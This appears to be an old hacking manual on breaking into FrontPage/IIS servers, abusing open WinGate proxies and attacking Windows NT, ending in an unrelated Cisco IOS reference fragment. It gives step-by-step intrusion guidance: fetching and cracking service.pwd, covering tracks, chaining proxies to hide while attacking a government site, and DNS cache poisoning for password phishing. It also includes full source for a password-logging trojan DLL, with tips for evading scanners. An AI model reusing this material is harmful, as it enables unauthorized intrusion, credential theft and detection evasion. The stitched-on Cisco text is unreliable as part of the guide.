AuthUserFile c:/frontpage\ webs/content/_vti_pvt/service.pwd

AuthGroupFile c:/frontpage\ webs/content/_vti_pvt/service.grp

Executing fpservwin.exe allows frontpage server extensions to be installed on

port 443 (HTTPS)Secure Sockets Layer

port 80 (HTTP)

NOTE: The Limit line. Telneting to port 80 or 443 and using GET, POST, and PUT can be used

instead of Frontpage.

The following is a list of the Internet Information server files location

in relation to the local hard drive (C:) and the web (www.target.com)

C:\InetPub\wwwroot <Home>

C:\InetPub\scripts /Scripts

C:\InetPub\wwwroot\_vti_bin /_vti_bin

C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm

C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut

C:\InetPub\cgi-bin /cgi-bin

C:\InetPub\wwwroot\srchadm /srchadm

C:\WINNT\System32\inetserv\iisadmin /iisadmin

C:\InetPub\wwwroot\_vti_pvt

FrontPage creates a directory _vti_pvt for the root web and for each FrontPage sub-web. For each FrontPage web with unique permissions, the _vti_pvt directory contains two files for the FrontPage web that the access file points to:

service.pwd contains the list of users and passwords for the FrontPage web.

service.grp contains the list of groups (one group for authors and one for administrators in FrontPage).

On Netscape servers, there are no service.grp files. The Netscape password files are:

administrators.pwd for administrators

authors.pwd for authors and administrators

users.pwd for users, authors, and administrators

C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM Internet Information Index Server sample

If Index Information Server is running under Internet Information Server:

service.pwd (or any other file) can sometimes be retrieved.

search for

"#filename=*.pwd"

C:\Program Files\Microsoft FrontPage\_vti_bin

C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut

C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm

C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin

C:\InetPub\ftproot The default location for the ftp

The ftp service by default runs on the standard port 21.

Check to see if anonymous connections are allowed. By default, Internet Information Server creates and uses the account IUSR_computername for all anonymous logons. Note that the password is used only within Windows NT ; anonymous users do not log on using this user name and password.

Typically, anonymous FTP users will use "anonymous" as the user name and their e-mail address as the password. The FTP service then uses the IUSR_computername account as the logon account for permissions. When installed, Internet Information Server’s Setup created the account IUSR_computername in the Windows NT User Manager for Domains and in Internet Service Manager. This account was assigned a random password for both in Internet Service Manager and in the Windows NT User Manager for Domains. If changed, the password, you must change it in both places and make sure it matches.

NOTE: Name and password are case sensitive

Scanning PORT 80 (http) or 443 (https) options:

GET /__vti_inf.html #Ensures that frontpage server extensions

are installed.

GET /_vti_pvt/service.pwd #Contains the encrypted password files.

Not used on IIS and WebSite servers

GET /_vti_pvt/authors.pwd #On Netscape servers only. Encrypted

names and passwords of authors.

GET /_vti_pvt/administrators.pwd

GET /_vti_log/author.log #If author.log is there it will need to

be cleaned to cover your tracks

GET /samples/search/queryhit.htm

If service.pwd is obtained it will look similar to this:

Vacuum:SGXJVl6OJ9zkE

The above password is apple

Turn it into DES format:

Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash

The run your favorite unix password cracker like John The Ripper

Usage: JOHN [flags] [-stdin|-w:wordfile] [passwd files]

Flags: -pwfile:<file>[,..] specify passwd file(s) (wildcards allowed)

-wordfile:<file> specify wordlist file

-restore[:<file>] restore session [from <file>]

-user:login|uid[,..] only crack this (these) user(s)

-timeout:<time> abort session after a period of <time> minutes

-incremental[:<mode>] incremental mode [using JOHN.INI entry <mode>]

-single single crack mode

-stdin read words from stdin

-list list each word

-test perform a benchmark

-beep beep when a password is found

-quiet do not beep when a password is found (default)

-noname don't use memory for login names

Other ways of obtaining service.pwd

http://ftpsearch.com/index.html

search for service.pwd

http://www.alstavista.digital.com

advanced search for link:"/_vti_pvt/service.pwd"

To open a FrontPage web

On the FrontPage Explorer’s File menu, choose Open FrontPage Web.

In the Getting Started dialog box, select Open an Existing FrontPage

Web and choose the FrontPage web you want to open.

Click More Webs if the web you want to open is not listed.

Click OK.

If you are prompted for your author name and password, you will have

to decrypt service.pwd, guess or move on.

Enter them in the Name and Password Required dialog box, and click OK.

Alter the existing page, or upload a page of your own.

There have been a few papers about WinGate. Some have explained how to bounce through its port 23 telnet proxy. Some have explained how to secure it. In this section we will show you how to use WinGate for its good and bad and you will learn from the good and bad examples. People in the past have said there are flaws and exploits to WinGates and this is wrong. There are system admins that poorly configure their systems but it is not WinGate itself that is the flaw.

WinGate is basically a program that lets you split a connection. Ex: You can share 1 modem with 2 computers. WinGate comes with several proxies and that is where the possible threat lies. (This sharing of internet connection is known as Connection Aggregation)

Note: We will only talk about 3 of the more used proxy portions of WinGate.

When you do a regular install of WinGate without changing things there are a few defaults:

23 Telnet Proxy Server - This is default and running right after install.

1080 SOCKS Server - This once setup via GateKeeper has no password until you set one.

6667 IRC Mapping - This once setup via GateKeeper has no password until you set one.

The biggest threat to your server is the port 23 telnet proxy.

This proxy is setup and run as soon as you are done installing and to make things worse it has no password after install and doesn’t ask you for one. Most system admins dont even know this and dont even think to try to password it and that is where the problem arises.

The telnet proxy is quiet simple. You telnet to port 23 on the server that is running the WinGate telnet proxy and you get a prompt WinGate> At this prompt you type in the server then a space and the port you want to connect to.

Example:

telnet wingate.net

Connected to wingate.net

WinGate> victim.com 23

What this example shows is someone telnetting to the WinGate server and then from that WinGate server telnet out of it to victim.com so on victim.com's logs it will show the wingate IP (wingate.net) and therefore the person telnetting keeps her IP a secret.

The socks proxy is not installed by default but as soon as you use GateKeeper to install it. It installs with no password, unless you set one. If you are familiar with socks you know that there are many things you could do with it.

The irc proxy is like how we would do a wingate telnet proxy bounce to an irc server except the irc proxy is set to goto a certain server already. This is not set to run after install but after you do install it it setups with no password, unless you set one.

Finding WinGates are relatively easy to do. If you would like to find static IP WinGates (IP never changes) go to yahoo or something of the such and search for cable modems. The reason for searching for cable modems is because a lot of people with cable modems have WinGate so that they can split there cable modems large bandwidth and share it with the other computers in there house. One large cable modem company is Cox Cable. Their webpage can be found at www.home.com. The Cox Cable rang of IP's are: 24.1.X.X where depending on what number X equals is where in the country the cable modem is located. You can also use Port or Domain scanners and scan for Port 1080, which Identifies a SOCKS Proxy, this is also an easy way to find a WinGate.

Example:

24.1.67.1 Resolves to c224084-a.frmt1.sfba.home.com which from that we know the abreveation sfba = San Fransico Bay Area or something close to that.

That is how to find static IP WinGates. To find dynamic IP (IP's that change every time a user logs on to the internet) WinGates it is not to hard at all. Almost every ISP big and small has users with WinGate. You need to either know the format of an ISP's dynamic ppp addresses or you need to get on IRC (Internet Relay Chat) and see what they are that way. Say that you already have a ppp IP of armory-us832.javanet.com. Now you dns that IP and get 209.94.151.143 now you take the IP address and stick it into a domain scanner program. Ex: Domscan which can be found on the Rhino9 web site (rhino9.abyss.com) Ok so you have domscan now. Run domscan and there is a box where you put in the IP address and the port to scan for. The WinGate telnet proxy by default runs on port 23. So we put in 209.94.151.143 in the first box in the domscan program and then 23 in the second box and then click start. The results we will get are:

209.94.151.2

209.94.151.4

209.94.151.6

209.94.151.10

209.94.151.8

209.94.151.73

209.94.151.118

209.94.151.132

Now we have to check each of these IP's for the WinGate prompt. So to do that we need to telnet to 209.94.151.2 on port 23 and if it shows WinGate> right when we connect then it is a WinGate. If not we go to the next address which in this case would be 209.94.151.4. We would do that for the whole list of IP's.

Note: If we are scanning for dynamic IP WinGates it is more common that the last number of the IP of the WinGate will be higher. Ex: There is a better chance that 209.94.151.132 is a WinGate and that 209.94.151.2 is not a WinGate.

Well there are many uses for WinGate. The first use and probably the greatest is the WinGate bounce technique. Say you are going to hack the pentagon. You can use the WinGate technique to keep yourself from having a jail sentence with spike. Here is how it works. We get a collection of WinGate IP's. First we open our telnet program and telnet to the first WinGate on our list. We get the WinGate> prompt and at that prompt we type the second WinGate on our list then a space then 23 then hit enter. Then we get another WinGate prompt and at that prompt we type the third WinGate IP on our list then a space then 23 then enter and so on and so fourth until we have bounced through about 10 or so WinGates then on the tenth WinGate we enter in the pentagon addresss. Ex: WinGate> www.pentagon-ai.army.gov 23 and then hit enter and start hacking away at it. So you ask, well cant they just trace back through all the WinGates? They could try to trace it back and here is how it would work. The pentagon has an IP on there logs, the ip is 2.2.2.2. The pentagon know that IP belongs to the an internet service provider called interlink. So the pentagon calls interlink and then tells them that at 3:43am on sunday an ip address of 2.2.2.2 hacked into there computer system. So the ISP (internet service provider) checks there logs and sees that there user John Doe was on at that time with that IP on sunday. So the pentagon has the swat team do a raid on John Doe's house and find nothing. Now it could end right here or the pentagon will maybe see that John Doe has WinGate and then check his logs. Now most people with WinGate dont even log so the pentagon could be stumped right there once again or they might see that another IP went through that WinGate and then they will have to repeat the process of calling the ISP and repeat that whole process again. Now if we went through 10 WinGate IP's you know that somewhere in that 10 either the ISP or the WinGate user wont know what IP was going through them, in otherwords if you bounce through 10 WinGate IP's you are a ghost, thy samurai... That is one use of WinGate's telnet proxy. Note: you might need to do a control + enter at the WinGate> prompt, it differs between telnet clients. Another use can be for IRC spoofing. To do this we take a WinGate ip and in our irc client we connect to that WinGate IP. This is an example of how it would look in mIRC for Windows. Do these commands:

1. /server wingate.net

It then connects.

2. /quote irc.irc.net 6667

It then connects to the irc server.

3. /quote user whatever whatever whatever@server.com whatever

4. /quote nick whatever

This sends the irc client info. Read the irc rfc for more info on that.

Once we have done /quote nick whatever mirc will be totally connected and we can then do whatever we want and our IP on IRC will be wingate.net or whatever the wingate IP is. So think about it and I am sure you can think of a few fun things to do with someone elses IP. Note: For you people that choose to abuse this. I have already coded an anti-wingate script for IRC to detect you mean people that choose to abuse this.

Those are 2 of the more common things to do with WinGate telnet proxies.

Service That Need To Be Locked To Stop Bouncing

23 - Telnet Proxy Server

1080 - SOCKS Server

6667 - IRC Mapping

All Ports Can Be Locked The Same Way

Some Other Notes Guest Account Has No Password and Enable on Install Basic Install Let's EVERONE have access to bounce from your system. All ports but the "remote control service" is unlocked and everyone has access, you should turn off any services you do not have a need for by double clicking on the service and unchecking the "Accept connections on port"

Note: This is script will kick/ban anyone running WinGate.

alias telnet .msg $me $chr(1) $+ DCC CHAT CHAT $longip($$1) $$2 $+ $chr(1)

alias removenickcheck unset %lastjoined $nick

alias gatekick {

set %nick $$1

set %chan 0

:loop2

inc %chan 1

if (%nick ison $chan(%chan)) {

mode $chan(%chan) -o %nick

ban $chan(%chan) %nick 2

kick $chan(%chan) %nick -=_Wingate Spoof_=-

goto loop2

}

if ($chan(%chan) == $null) { goto end2 }

goto loop2

:end2

unset %nick

}

#spoofcheck on

on 1:JOIN:%protchans:set %gatenick $nick | set %lastjoined $nick | timer 1 3 removenickcheck | write $mircdirips.txt %gatenick --> $site <-- [ $time, $date ] | dns $nick

on 1:DNS:echo -a _DNS ON [ $+ $nick $+ ]] | echo -a _IP address: $iaddress | echo -a _Name address: $naddress | set %gateip $iaddress | set %gatename $naddress | telnet %gateip 23 | timer66 1 15 close -c

on 1:CHATOPEN:msg =$nick gatecheck | timer66 1 15 close -c

on 1:CHAT:*WinGate>*:gatekick %gatenick | write $mircdirgate.txt %gatename = %gateip

on 1:CHAT:*many*:gatekick %gatenick | write $mircdirgate.txt %gatename = %gateip

#spoofcheck end

#gateslip on

on 1:NICK:{

if ($nick == %lastjoined) && ($nick != $me) {

echo 4 -a (-=_GateSlip Check_=-)

kick %protchans $newnick -=_GateSlip_=-

removenickcheck

}

}

#gateslip end

WinGate is just another example of a program that is good but it doesnt warn the system admins and as we all know the common system admin doesnt read much just installs thinking it is secure. Software programmers need to either make their programs default to a tight security or at least as the program is install they need it to warn the system admin of possible miss configurations. Wether it is Microsoft products or this simple WinGate remember one thing, the software developer makes the software work they rarely ever warn you on miss configurations. Yes people do put out patches for true exploits etc... but where are the papers on miss configurations? Where are the warnings of things you might do that you should? If I was one of the WinGate programmers I would prompt the user while WinGate is installing and tell them of different security risks they may face. Hope that this paper has helped and that we, Rhino9, have helped.

The basis for this portion of the book was gleaned from simple nomads FAQ, much Props to him.

[11.0.1] NT Network structures (Standalone/WorkGroups/Domains)

Each NT workstation participates in either a workgroup or a domain. Most companies will have NT workstations participate in a domain for management of the resource by the administrator.

A domain is one or more servers running NT server with all of the servers functioning as a single system. The domain not only contains servers, but NT workstations, Windows for Workgroups machines, and even LAN Manager 2.x machines. The user and group database covers ALL of the resources of a domain.

Domains can be linked together via trusted domains. The advantage of trusted domains is that a user only needs one user account and password to get to resources across multiple domains, and administrators can centrally manage the resources.

A workgroup is simply a grouping of workstations that do not belong to a domain. A standalone NT workstation is a special case workgroup.

User and group accounts are handled differently between domain and workgroup situations. User accounts can be defined on a local or domain level. A local user account can only logon to that local computer, while a domain account can logon from any workstation in the domain.

Global group accounts are defined at a domain level. A global group account is an easy way to grant access to a subset of users in a domain to, say, a single directory or file located on a particular server within the domain. Local group accounts are defined on each computer. A local group account can have global group accounts and user accounts as members.

In a domain, the user and group database is "shared" by the servers. NT workstations in the domain DO NOT have a copy of the user and group database, but can access the database. In a workgroup, each computer in the workgroup has its own database, and does not share this information.

First, a user logs on. When this happens, NT creates a token object that represents that user. Each process the user runs is associated with this token (or a copy of it). The token-process combination is refered to as a subject. As subjects access objects such as files and directories, NT checks the subject's token with the Access Control List (ACL) of the object and determines whether to allow the access or not. This may also generate an audit message.

When a user logs on, more than likely they will be using Windows NT Challenge and Response. When using this type of password encryption, the password never actually crosses the wire. A null or random set of characters is generated at the client machine. Those characters are encrypted using the users password. That encrypted information is then sent across the wire. The server then uses what it has stored in its database as the users password to un-encrypt the sent data. If the un-encryption works, it knows that the user typed in the correct password client side.

There are a number of built-in local groups in NT that can do various functions, some which would be better off being left to the Administrator. Administrators can do everything, but the following groups' members can do a few extra items (I only verified this on 4.0):

- Server Operators: do a shutdown, even remotely; reset the system time; perform backups and restores.

- Backup Operators: do a shutdown; perform backups and restores.

- Account Operators: do a shutdown.

- Print Operators: do a shutdown.

Also members of these groups can login at the console. As you explore this book and possibly someone else's server, remember these permissions. Gaining a Server Operator account and placing a trojan that activates after a remote shutdown could get you Administrator.

I only verified these on 4.0. And remember, Administrators are deities. Otherwise, if it isn't here, the group doesn't have access.

\ (root), \SYSTEM32, \WIN32APP - Server Operators and Everyone can read and execute files, display permissions on files, and do some changing on file attributes.

\SYSTEM32\CONFIG - Everyone can list filenames in this directory.

\SYSTEM32\DRIVERS, \SYSTEM\REPL - Server Operators have full access, Everyone has read access.

\SYSTEM32\SPOOL - Server Operators and Print Operator have full access, Everyone has read access.

\SYSTEM32\REPL\EXPORT - Server Operators can read and execute files, display permissions on files, and do some changing on file attributes. Replicator has read access.

\SYSTEM32\REPL\IMPORT - Server Operators and Replicator can read and execute files, display permissions on files, and do some changing on file attributes. Everyone has read access.

\USERS - Account Operators can read, write, delete, and execute. Everyone can list filenames in this directory.

\USERS\DEFAULT - Everyone has read, write, and execute.

There are two accounts that come with NT out of the box – administrator and guest. In a network environment, I have run into local administrator access unpassworded, since the Sys Admin thought that global accounts ruled over local ones. Therefore it is possible to gain initial access to

an NT box by using its local administrator account with no password.

Guest is another common unpassworded account, although recent shipments of NT disable the account by default. While it is possible that some companies will delete the guest account, some applications require it. If Microsoft Internet Studio needs to access data on another system, it

will use guest for that remote access.

It is possible that a Sys Admin will create a new account, give that account the same access as an administrator, and then remove part of the access to the administrator account. The idea here is that if you don't know the administrator account name, you can't get in as an administrator.

Typing "NBTSTAT -A ipaddress" will give you the new administrator account (generally tagged as a 2 digit 03 code), assuming they are logged in. A bit of social engineering could get them to log in as well. nbtstat will also give you other useful information such as services running, the NT domain name, the nodename, and the ethernet hardware address.

The location of what you need is in \\WINNT\SYSTEM32\CONFIG\SAM which is the location of the security database. This is usually world readable by default, but locked since it is in use by system compotents. It is possible that there are SAM.SAV files which could be readable. If so, these could be obtained for the purpose of getting password info.

During the installation of NT a copy of the password database is put in \\WINNT\REPAIR. Since it was just installed, only the Administrator and Guest accounts will be there, but maybe Administrator is enough -- especially if the Administrator password is not changed after installation.

If the Sys Admin updates their repair disks, or you get a hold of a copy of the repair disks, you can get password database.

If you are insane, you can go poking around in the SAM secret keys. First, schedule service to logon as LocalSystem and allow it to interact with the desktop, and then schedule an interactive regedt32 session. The regedt32 session will be running as LocalSystem and you can play around in the secret keys. However, if you change some stuff this might be very bad. You have to be Administrator to do this, though, so for the hacker you need to walk up to the machine while the Administrator is logged in and distract them by telling them they're giving away Microsoft t-shirts in the lobby (this doesn't always work ;-).

First off, it should be explained that the passwords are technically not located on the server, or in the password database. What IS located there is a one-way hash of the password. Let me explain...

Two one-way hashes are stored on the server -- a Lan Manager password, and a Windows NT password. Lan Manager uses a 14 byte password. If the password is less than 14 bytes, it is concantenated with 0's. It is converted to upper case, and split into 7 byte halves. An 8 byte odd parity DES key is constructed from each 7 byte half. Each 8 byte DES key is encrypted with a

"magic number" (0x4B47532140232425 encrypted with a key of all 1's). The results of the magic number encryption are concantenated into a 16 byte one way hash value. This value is the Lan Manager "password".

A regular Windows NT password is derived by converting the user's password to Unicode, and using MD4 to get a 16 byte value. This hash value is the NT "password".

So to crack NT passwords, the username and the corresponding one way hashes (Lan Man and NT) need to be extracted from the password database. Instead of going out and writing some code to do this, simply get a copy of Jeremy Allison's PWDUMP, which goes through SAM and gets the information for you.

PWDUMP does require that you are an Administrator to get stuff out of the registry, but if you can get ahold of copies of the security database from another location you can use those. For actually cracking the password, I recommend using L0phtcrack.

Let's say an admin is checking the last time certain users have logged in by doing a NET USER <userid> /DOMAIN. Is the info accurate? Most of the time it will NOT be.

Most users do not login directly to the Primary Domain Controller (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT contain readonly versions of SAM, they contain read-write versions. To keep the already ungodly amount of network traffic down, BDCs do not tell the PDC that they have an update of the last login time until a password change has been done. And

the NET USER <userid> /DOMAIN command checks the PDC, so last login time returned from this command could be wildly off (it could even show NEVER).

As a hacker, if you happen to know that password aging is not enforced, then you can bet that last login times will probably not be very accurate.

Basic NT 3.51 has some stuff read/writeable by default. You could edit the association between an application and the data file extension using regedt32. First off, you should write a Win32 app that does nothing but the following -

net user administrator biteme /y

notepad %1 %2 %3 %4 %5

In a share you have read/write access to, upload it. Now change the association between .txt files and notepad to point to the location of the uploaded file, like

\\ThisWorkstation\RWShare\badboy.exe.

Now wait for the administrator to launch a text file by double clicking on it, and the password becomes "biteme".

Of course, if the Sys Admin is smart they will have removed write permission from Everyone for HKEY_CLASSES_ROOT, only giving out full access to creator\owner.

Well, this can be exploited on NT 4.0 by placing a trojaned FPNWCLNT.DLL in that directory. This file typically exists in a Netware environment. First compile this exploit code written by Jeremy Allison (jra@cygnus.com) and call the resulting file FPNWCLNT.DLL. Now wait for the user names and passwords to get written to a file in \temp.

------------- cut --------------

#include <windows.h>

#include <stdio.h>

#include <stdlib.h>

struct UNI_STRING {

USHORT len;

USHORT maxlen;

WCHAR *buff;

};

static HANDLE fh;

BOOLEAN __stdcall InitializeChangeNotify ()

{

DWORD wrote;

fh = CreateFile("C:\\temp\\pwdchange.out", GENERIC_WRITE,

FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS,

FILE_ATTRIBUTE_NORMAL|FILE_FLAG_WRITE_THROUGH,

0);

WriteFile(fh, "InitializeChangeNotify started\n", 31, &wrote, 0);

return TRUE;

}

LONG __stdcall PasswordChangeNotify (struct UNI_STRING *user, ULONG rid,

struct UNI_STRING *passwd)

{

DWORD wrote;

WCHAR wbuf[200];

char buf[512];

char buf1[200];

DWORD len;

memcpy(wbuf, user->buff, user->len);

len = user->len/sizeof(WCHAR);

wbuf[len] = 0;

wcstombs(buf1, wbuf, 199);

sprintf(buf, "User = %s : ", buf1);

WriteFile(fh, buf, strlen(buf), &wrote, 0);

memcpy(wbuf, passwd->buff, passwd->len);

len = passwd->len/sizeof(WCHAR);

wbuf[len] = 0;

wcstombs(buf1, wbuf, 199);

sprintf(buf, "Password = %s : ", buf1);

WriteFile(fh, buf, strlen(buf), &wrote, 0);

sprintf(buf, "RID = %x\n", rid);

WriteFile(fh, buf, strlen(buf), &wrote, 0);

return 0L;

}

------------- cut --------------

If you load this on a Primary Domain Controller, you'll get EVERYBODY'S password. You have to reboot the server after placing the trojan in %systenroot%\system32.

ISS (www.iss.net) has a security scanner for NT which will detect the trojan DLL, so you may wish to consider adding in extra junk to the above code to make the size of the compiled DLL match what the original was. This will prevent the current shipping version of ISS's NT scanner from picking up the trojan.

It should be noted that by default the group Everyone has default permissions of "Change" in %systemroot\system32, so any DLL that is not in use by the system could be replaced with a trojan DLL that does something else.

By forging UDP packets, NT name server caches can be compromised. If recursion is allowed on the name server, you can do some nasty things. Recursion is when a server receives a name server lookup request for a zone or domain for which is does not serve. This is typical how

most setups for DNS are done.

So how do we do it? We will use the following example:

We are root on ns.nmrc.org, IP 10.10.10.1. We have pirate.nmrc.org with an address of 10.10.10.2, and bait.nmrc.org with an address of 10.10.10.3. Our mission? Make the users at lame.com access pirate.nmrc.org when they try to access www.lamer.net.

Okay, assume automation is at work here to make the attack smoother...

- DNS query is sent to ns.lame.com asking for address of bait.nmrc.org.

- ns.lame.com asks ns.nmrc.org what the address is.

- The request is sniffed, and the query ID number is obtained from the

request packet.

- DNS query is sent to ns.lame.com asking for the address of www.lamer.net.

- Since we know the previous query ID number, chances are the next query

ID number will be close to that number.

- We send spoofed DNS replies with several different query ID numbers.

These replies are spoofed to appear to come from ns.lamer.net, and state

that its address is 10.10.10.2.

- pirate.nmrc.org is set up to look like www.lamer.net, except maybe it

has a notice to "go to the new password page and set up an account and ID".

Odds are this new password is used by that lame.com user somewhere else...

With a little creativity, you can also do other exciting things like reroute (and make copies of) email, denial of service (tell lame.com that www.lamer.net doesn't exist anymore), and other fun things.

Supposedly Service Pack 3 fixes this.

The main thing to realize about shares is that there are a few that are invisible. Administrative shares are default accounts that cannot be removed. They have a $ at the end of their name. For example C$ is the administrative share for the C: partition, D$ is the administrative share

for the D: partition. WINNT$ is the root directory of the system files.

By default since logging is not enabled on failed attempts and the administrator doesn't get locked out from false attempts, you can try and try different passwords for the administrator account. You could also try a dictionary attack Once in, you can get at basically anything.

If the target NT box is behind a firewall that is doing packet filtering (which is not considered firewalling by many folks) and it does not have SP3 loaded it is possible to send it packets anyway. This involves sending decoy IP packet fragments with specially crafted headers that will be "reused" by the malicious IP packet fragments. This is due to a problem with the way NT's TCP/IP stack handles reassembling fragmented packets. As odd as this sounds, example code exists to prove it works. See the web page at http://www.dataprotect.com/ntfrag for details.

How does it bypass the packet filter? Typically packet filtering only drops the fragmented packet with the offset of zero in the header. The example source forges the headers to get around this, and NT happily reassembles what does arrive.

NTFS is the Windows NT special file system. This file system is tightly integrated into Windows security -- it is what allows access levels to be set from the directory down to individual files within a directory.

Not so much vulnerabilities as there are quirks -- quirks that can be exploited to a certain degree.

For example, let's say the system admin has built a home directory for you on the server, but has disallowed the construction of directories or files that you wish to make available to the group Everyone. You are wanting to make this special directory so that you can easily retrieve some hack tools but you are cut off. However, if the sys admin left you as the owner of the home directory, you can go in and alter its permissions. This is because as long as you are the owner or Administrator you still control the file. Oh sure, you may get a few complaints from the system when you are doing it, but it can be done.

Since NTFS has security integrated into it, there are not too many ways around it. The main one requires access to the physical system. Boot up the system on a DOS diskette, and use NTFSDOS.EXE. It will allow you to access an NTFS volume bypassing security.

The last quirk is that if you have a directory with Full Control instead of RWXDPO permissions, then you get a hidden permission called File Delete Child. FDC cannot be removed. This means that all members of the group Everyone can delete any read-only file in the directory. Depending on what the directory contains, a hacker can replace a file with a trojan.

Since files and directories are considered objects (same as services), the security is managed at an "object" level.

An access-control list (ACL) contains information that controls access to an object or controls auditing of attempts to access an object. It begins with a header contains information pertaining to the entire ACL, including the revision level, the size of the ACL, and the number of access-control

entries (ACEs) in the list.

After the header is a list of ACEs. Each ACE specifies a trustee, a set of access rights, and flags that dictate whether the access rights are allowed, denied, or audited for the trustee. A trustee can be a user account, group account, or a logon account for a service program.

A security descriptor can contain two types of ACLs: a discretionary ACL (DACL) and a system ACL (SACL).

In a DACL, each ACE specifies the types of access that are allowed or denied for a specified trustee. An object's owner controls the information in the object's DACL. For example, the owner of a file can use a DACL to control which users can have access to the file, and which users are

denied access.

If the security descriptor for an object does not have a DACL, the object is not protected and the system allows all attempts to access the object. However, if an object has a DACL that contains no ACEs, the DACL does not grant any access rights. In this case, the system denies all attempts to access the object.

In a SACL, each ACE specifies the types of access attempts by a specified trustee that cause the system to generate audit records in the system event log. A system administrator controls the information in the object's SACL. An ACE in a SACL can generate audit records when an access attempt fails, when it succeeds, or both.

To keep track of the individual object, a Security Identifier (SID) uniquely identify a user or a group.

A SID contains:

- User and group security descriptors

- 48-bit ID authority

- Revision level

- Variable subauthority values

A privilege is used to control access to a service or object more strictly than is normal with discretionary access control. Privileges provide access to services rarely needed by most users. For example, one type of privilege might give access for backups and restorals, another might allow the system time to be changed.

The main problem is adjusting NT file security attributes. Some utilities are available with NT that can be used, but I'd recommend using the NT Command Line Security Utilities. They include:

saveacl.exe - saves file, directory and ownership permissions to a file

restacl.exe - restores file permissions and ownership from a saveacl file

listacl.exe - lists file permissions in human readable format

swapacl.exe - swaps permissions from one user or group to another

grant.exe - grants permissions to users/groups on files

revoke.exe - revokes permissions to users/groups on files

igrant.exe - grants permisssions to users/groups on directories

irevoke.exe - revokes permissions to users/groups on directories

setowner.exe - sets the ownership of files and directories

nu.exe - 'net use' replacement, shows the drives you're connected to

The latest version can be found at:

ftp://ftp.netcom.com/pub/wo/woodardk/">ftp://ftp.netcom.com/pub/wo/woodardk/

If a user has locked their local workstation using CTRL+ALT+DEL, and you can log in as an administrator, you will have a window of a few seconds where you will see the user's desktop, and even manipulate things. This trick works on NT 3.5 and 3.51, unless the latest service pack has been loaded.

If the service pack has been loaded, but it's still 3.X, try the following.

- From another NT workstation, type the following command:

shutdown \\<target_computer> /t:30

- This will start a 30 second shutdown on the target and a Security

window will pop up.

- Cancel the shutdown with the following command:

shutdown \\<target_computer> /a

- The screen saver will kick back in.

- Wiggle the mouse on the target. The screen will go blank.

- Now do a ctrl-alt-del on the target.

- An NT Security window will appear. Select cancel.

- You are now at the Program Manager.

Hopefully it is a web server, and they've simply stated proudly "we're running NT", but don't expect that...

Port scanning will find some. Typically you'll see port 135 open. This is no guarantee it's not Windows 95, however. Using Samba you should be able to connect and query for the existence of HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT and then check \CurrentVersion\CurrentVersion to determine the version running. If guest is enabled, try this first as Everyone has read permissions here by default.

Port 137 is used for running NetBios over IP, and since in the Windows world NetBios is used, certainly you can expect port 137 to be open if IP is anywhere in use around NT.

Another possible indication is checking for port 139. This tells you your target is advertising an SMB resource to share info, but it could be any number of things, such as a Windows 95 machine or even Windows for Workgroups. These may not be entirely out of the question as potential

targets, but if you are after NT you will have to use a combination of the aforementioned techniques coupled with some common sense.

To simplify this entire process, Secure Networks Inc. has a freeware utility called NetBios Auditing Tool. This tool's intent is to test NetBios file sharing configurations and passwords on remote systems.

Developed by Secure Networks Inc., it comes in pre-compiled Win32 binary form as well as the complete source code. It is the "SATAN" of NetBios based systems.

Here is a quote from Secure Networks Inc about the product -

"The NetBIOS Auditing Tool (NAT) is designed to explore the NETBIOS file-sharing services offered by the target system. It implements a stepwise approach to gather information and attempt to obtain file system-level access as though it were a legitimate local client.

The major steps are as follows:

A UDP status query is sent to the target, which usually elicits a reply containing the Netbios "computer name". This is needed to establish a session. The reply also can contain other information such as the workgroup and account names of the machine's users. This part of the program needs root privilege to listen for replies on UDP port 137, since the reply is usually sent back to UDP port 137 even if the original query came from some different port.

TCP connections are made to the target's Netbios port [139], and session requests using the derived computer name are sent across. Various guesses at the computer name are also used, in case the status query failed or returned incomplete information. If all such attempts to establish a session fail, the host is assumed invulnerable to NETBIOS attacks even if TCP port 139 was reachable.

Provided a connection is established Netbios "protocol levels" are now negotiated across the new connection. This establishes various modes and capabilities the client and server can use with each other, such as password encryption and if the server uses user-level or share-level Security. The usable protocol level is deliberately limited to LANMAN version 2 in this case, since that protocol is somewhat simpler and uses a smaller password keyspace than NT.

If the server requires further session setup to establish credentials, various defaults are attempted. Completely blank usernames and passwords are often allowed to set up "guest" connections to a server; if this fails then guesses are tried using fairly standard account names such as ADMINISTRATOR, and some of the names returned from the status query. Extensive username/password checking is NOT done at this point, since the aim is just to get the session established, but it should be noted that if this phase is reached at all MANY more guesses can be attempted and likely without the owner of the target being immediately aware of it.

Once the session is fully set up, transactions are performed to collect more information about the server including any file system "shares" it offers.

Attempts are then made to connect to all listed file system shares and some potentially unlisted ones. If the server requires passwords for the shares, defaults are attempted as described above for session setup. Any successful connections are then explored for writeability and some well-known file-naming problems [the ".." class of bugs].

If a NETBIOS session can be established at all via TCP port 139, the target is declared "vulnerable" with the remaining question being to what extent. Information is collected under the appropriate vulnerability at most of these steps, since any point along the way be blocked by the Security configurations of the target. Most Microsoft-OS based servers and Unix SAMBA will yield computer names and share lists, but not allow actual file-sharing connections without

a valid username and/or password. A remote connection to a share is therefore a possibly serious Security problem, and a connection that allows WRITING to the share almost certainly so.

Printer and other "device" services offered by the server are currently ignored."

If you need more info on NAT, try looking at this web location:

http://www.secnet.com/ntinfo/ntaudit.html

This chapter describes the commands used to enter and exit the various Cisco Internetwork Operating System (Cisco IOS) configuration command modes. It provides a description of the help command and help features, lists the command editing keys and functions, and details the command history feature.

You can abbreviate the syntax of Cisco IOS configuration commands. The software recognizes a command when you enter enough characters of the command to uniquely identify it.

For user interface task information and examples, see the "Understanding the User Interface" chapter of the Configuration Fundamentals Configuration Guide.

To exit privileged EXEC mode and return to user EXEC mode, enter the disable EXEC command.

level (Optional) Specifies the user-privilege level.

Note The disable command is associated with privilege level 0. If you configure AAA authorization for a privilege level greater than 0, this command will not be included in the command set for that privilege level.

EXEC

